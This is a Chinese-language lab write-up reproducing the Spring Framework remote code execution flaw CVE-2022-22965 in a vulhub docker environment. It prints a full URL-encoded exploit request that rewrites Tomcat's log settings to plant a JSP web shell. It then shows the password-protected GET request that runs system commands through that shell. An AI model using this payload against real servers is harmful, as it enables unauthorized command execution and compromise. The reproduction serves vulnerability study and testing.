Spring Framework远程代码执行漏洞复现(CVE-2022-22965)

简介: Spring Framework存在远程代码执行漏洞,攻击者可通过该漏洞执行系统命令。

一、漏洞详情


Spring Framework 是一个开源应用框架,初衷是为了降低应用程序开发的复杂度,具有分层体系结构,允许用户选择组件,同时还为J2EE应用程序开发提供一个好用的框架


这个漏洞的主要原因是在JDK 9+版本里,Spring MVC 的数据绑定时出现的漏洞,当Spring部署在JDK9及以上版本,远程攻击者可利用该漏洞写入恶意代码导致远程代码执行


二、影响版本


  • Spring Framework 5.3.X < 5.3.18
  • Spring Framework 5.2.X < 5.2.20
  • 注:其他小版本未更新均受影响


不受影响版本


  • Spring Framework == 5.3.18
  • Spring Framework == 5.2.20

image.png

如上述条件有其中一项不满足,都无法造成危害!


三、漏洞复现


启动环境 docker-compose up -d


docker ps //查看进程


本地浏览器访问,出现如下界面,服务搭建成功!


漏洞Exp


?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=


将数据进行替换,点击Send发送

suffix: %>//

c1: Runtime

c2: <%

DNT: 1

Content-Length: 2


返回响应200,接下来以GET方式访问/tomcatwar.jsp?pwd=j&cmd=id,命令执行成功!


注意,在这里的多次执行会不断的往日志写文件,请勿频繁操作!


进入容器中查看文件内容


重要事情说三遍说三遍说三遍


不要频繁的往里面写,不然日志文件会爆满,消除方法就是使用 get 请求( vulhub 专属),停止写日志:


http://X.X.X.X:8080/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=


四、漏洞原理分析


参考如下文章,对原理深度剖析:https://it.sohu.com/a/535760028_121292904


视频参考:https://www.bilibili.com/video/BV1H44y1V7P8


五、修复方法(仅供参考)

目录
相关文章
|
20天前
|
安全 数据可视化 Java
AiPy开发的 Spring 漏洞检测神器,未授权访问无所遁形
针对Spring站点未授权访问问题,现有工具难以检测如Swagger、Actuator等组件漏洞,且缺乏修复建议。全新AI工具基于Aipy开发,具备图形界面,支持一键扫描常见Spring组件,自动识别未授权访问风险,按漏洞类型标注并提供修复方案,扫描结果可视化展示,支持导出报告,大幅提升渗透测试与漏洞定位效率。
|
4月前
|
安全 数据可视化 Java
Spring漏洞太难搞?AiPy生成漏洞检测辅助工具
本文介绍了 Spring 框架的漏洞风险、优缺点,并提出通过开发可视化工具 Aipy 来解决未授权访问问题。Spring 广泛应用于企业级开发,但因配置不当可能导致 RCE、数据泄露等漏洞。其优点包括强大的生态系统和灵活的事务管理,但也存在学习曲线陡峭、性能开销等问题。为应对安全挑战,Aipy 提供 GUI 界面,可自动扫描 Spring 组件(如 Swagger UI、Actuator)中的未授权漏洞,标记风险并提供修复方案,结果以图表形式展示,支持报告导出,有效提升安全性和易用性。
|
安全 Java 网络安全
Spring Framework JDK >= 9 远程代码执行(CVE-2022-22965)
Spring Framework JDK >= 9 远程代码执行(CVE-2022-22965)
|
前端开发 Java 调度
Spring Webflux 是 Spring Framework 提供的响应式编程支持
Spring Webflux 是 Spring Framework 提供的响应式编程支持
215 2
|
Cloud Native Java 开发者
深入解析Spring Framework的核心设计原理
深入解析Spring Framework的核心设计原理
|
安全 Java Apache
如何安装与使用Spring Boot 2.2.x、Spring Framework 5.2.x与Apache Shiro 1.7进行高效开发
【7月更文第1天】在现代Java Web开发领域,Spring Boot以其简化配置、快速开发的特点备受青睐。结合Spring Framework的成熟与Apache Shiro的强大权限控制能力,我们可以轻松构建安全且高效的Web应用。本篇文章将指导你如何安装并使用Spring Boot 2.2.x、Spring Framework 5.2.x以及Apache Shiro 1.7来构建一个具备基础权限管理功能的项目。
334 0
|
前端开发 Java Spring
Spring Framework五大功能模块
Spring Framework五大功能模块
115 0
|
3月前
|
Java Spring 容器
SpringBoot自动配置的原理是什么?
Spring Boot自动配置核心在于@EnableAutoConfiguration注解,它通过@Import导入配置选择器,加载META-INF/spring.factories中定义的自动配置类。这些类根据@Conditional系列注解判断是否生效。但Spring Boot 3.0后已弃用spring.factories,改用新格式的.imports文件进行配置。
744 0
|
7月前
|
前端开发 Java 数据库
微服务——SpringBoot使用归纳——Spring Boot集成Thymeleaf模板引擎——Thymeleaf 介绍
本课介绍Spring Boot集成Thymeleaf模板引擎。Thymeleaf是一款现代服务器端Java模板引擎,支持Web和独立环境,可实现自然模板开发,便于团队协作。与传统JSP不同,Thymeleaf模板可以直接在浏览器中打开,方便前端人员查看静态原型。通过在HTML标签中添加扩展属性(如`th:text`),Thymeleaf能够在服务运行时动态替换内容,展示数据库中的数据,同时兼容静态页面展示,为开发带来灵活性和便利性。
322 0
|
3月前
|
缓存 JSON 前端开发
第07课:Spring Boot集成Thymeleaf模板引擎
第07课:Spring Boot集成Thymeleaf模板引擎
396 0
第07课:Spring Boot集成Thymeleaf模板引擎